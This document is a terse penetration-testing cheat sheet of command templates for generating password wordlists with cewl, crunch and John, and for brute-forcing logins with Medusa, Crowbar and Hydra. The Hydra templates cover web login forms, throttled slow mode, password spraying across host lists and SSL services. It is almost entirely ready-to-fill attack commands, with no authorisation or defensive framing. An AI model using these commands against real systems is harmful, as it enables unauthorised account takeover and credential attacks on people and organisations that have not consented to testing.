Generate wordlist
Local
Cewl
cewl <url> -m <min length> -w <file>.txt #generate from login page
cewl <url> -m <min length> -e -w <file>.txt #harvest emails
Crunch
crunch <min-len> <max-len> -f </path/to/charset>.lst -o <wordlist.txt>
crunch <min-len> <max-len> "<accepted chars>" -o <wordlist.txt>
crunch <min-len> <max-len> -t <pattern> -o <wordlist.txt> -s <start string>
Pattern syntax:
@ will insert lower case characters
, will insert upper case characters
Symbols can be combined with static strings.
When specifying a charset the order MUST be lowercase chars, uppercase chars, numbers and symbols.
Improve wordlist quality
John
john --wordlist=<file>.txt --rules=Wordlist --stdout > <file>.txt
Bruteforce
Medusa
medusa -h <target ip> -u <target username> -P <path to wordlist> -M <mode> -m DIR:/<page>
Crowbar
crowbar -b <protocol> -s <target ip> -u <target user> -C <path to wordlist>.txt -n <threads>
Hydra
hydra -vV -l <user> -P <path to wordlist>.txt <protocol>://<ip> -s <port> -e sn -t 8
hydra -vV -l <user> -P <path to wordlist>.txt <protocol>://<ip> -s <port> -o <file>.txt
hydra -vV -L <userlist>.txt -P <path to wordlist>.txt <protocol>://<ip> -s <port>
Post form
hydra <ip> -s <port> http-form-post "<relative form url>:<user form field>=^USER^&<password form field>=^PASS^:F=<invalid login string>" -L <file>.txt -P <file>.txt -vV -f
hydra <ip> -s <port> http-form-post "<relative form url>:<user form field>=<username>&<password form field>=^PASS^:F=<invalid login string>" -l <username> -P <file>.txt -vV -f
Slow mode
hydra <ip> -s <port> http-form-post "<relative form url>:<user form field>=<username>&<password form field>=^PASS^:F=<invalid login string>" -l <username> -P <file>.txt -vV -f -t 2 -W 5
Password spraying
hydra -l <user> -P <path to wordlist>.txt -M <hostfile>.txt <protocol> -vV -F
On SSL
hydra -vV -l <user> -S -P <path to wordlist>.txt <protocol>://<ip> -s <port>
Generate passwords
hydra -vV -l <user> -x<min>:<max>:<charset> <protocol>://<ip> -s <port>
hydra -vV -l <user> -x4:8:Aa1 -y <protocol>://<url> #generate alphanumeric passwords
Charset rules (to be used with -y option) :
for symbols append them to the charset i.e. a1/. will generate passwords with alphanumeric lowercase characters plus dot and dash
Modules
hydra -h
hydra <module> -U | less
hydra <ip> <module> <additional args> -l <target user> -P <filelist>.txt -vV -f